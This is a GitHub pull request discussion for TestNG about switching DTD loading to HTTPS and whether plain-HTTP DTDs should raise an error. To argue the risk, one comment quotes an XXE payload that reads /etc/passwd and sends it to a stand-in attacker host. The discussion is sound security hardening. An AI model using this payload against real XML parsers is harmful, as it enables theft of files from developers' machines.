-
Notifications
You must be signed in to change notification settings - Fork 1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Use HTTPS for loading DTD #2023
Conversation
Awesome, thanks @krmahadevan ! /cc @JLLeitschuh |
Is the I'd also recommend making this an error instead of a warning (allow user opt-out if necessary). https://github.com/cbeust/testng/blob/9d1ea8c07f2dc337aaf37c26e5eb2f8eca4768d6/src/main/java/org/testng/xml/TestNGContentHandler.java#L99-L105 |
IMO, yes. Else it would break backward compatibility.
Why would TestNG want to control what a user wants to do ? That to me sounds like we are trying to control what a user would like to do. I can understand that TestNG should by itself strive to use only the |
Because you are protecting users from themselves. Most users don't understand the security risks of XML loaded over HTTP. If via a MITM, a malicious actor can add the following to any DTD loaded, I can use their XML parser to maliciously exfiltrate the contents of files. <!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 '<!ENTITY % external SYSTEM "http://my.evil-host.com/x=%payload;">'>
%param1;
%external; Most users aren't aware of the risk of XXE against XML parsers. By requiring explicit opt-in, you are protecting users from shooting themselves in the foot. |
That to me doesn't sound like the primary responsibility of a test framework. TestNG is supposed to just be a test framework. Not sure if we are to be straying away from that and trying to put in checks and balances that would ensure that a user doesn't intentionally or unintentionally expose themselves to security risks. |
Correct. That being said, TestNG should not be something that an attacker can leverage to maliciously exfiltrate the contents of files from a developers machine or build server.
In some cases, I would agree, but in this case, since all it requires is a single character typo for a user to be vulnerable ( Similarities with Issue #2018 It's so simple for users to unintentionally be vulnerable to this. |
I lean toward accepting @JLLeitschuh's point right now, assuming we don't break backward compatibility. Well, actually, even if we do break backward compatibility, we are about to release 7.0, so now would be the perfect time to do so. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I like the new option! Good idea 👍
Nice work @krmahadevan! |
Closes #2022
Fixes #2022 .
Did you remember to?
CHANGES.txt
We encourage pull requests that:
If your pull request involves fixing SonarQube issues then we would suggest that you please discuss this with the
TestNG-dev before you spend time working on it.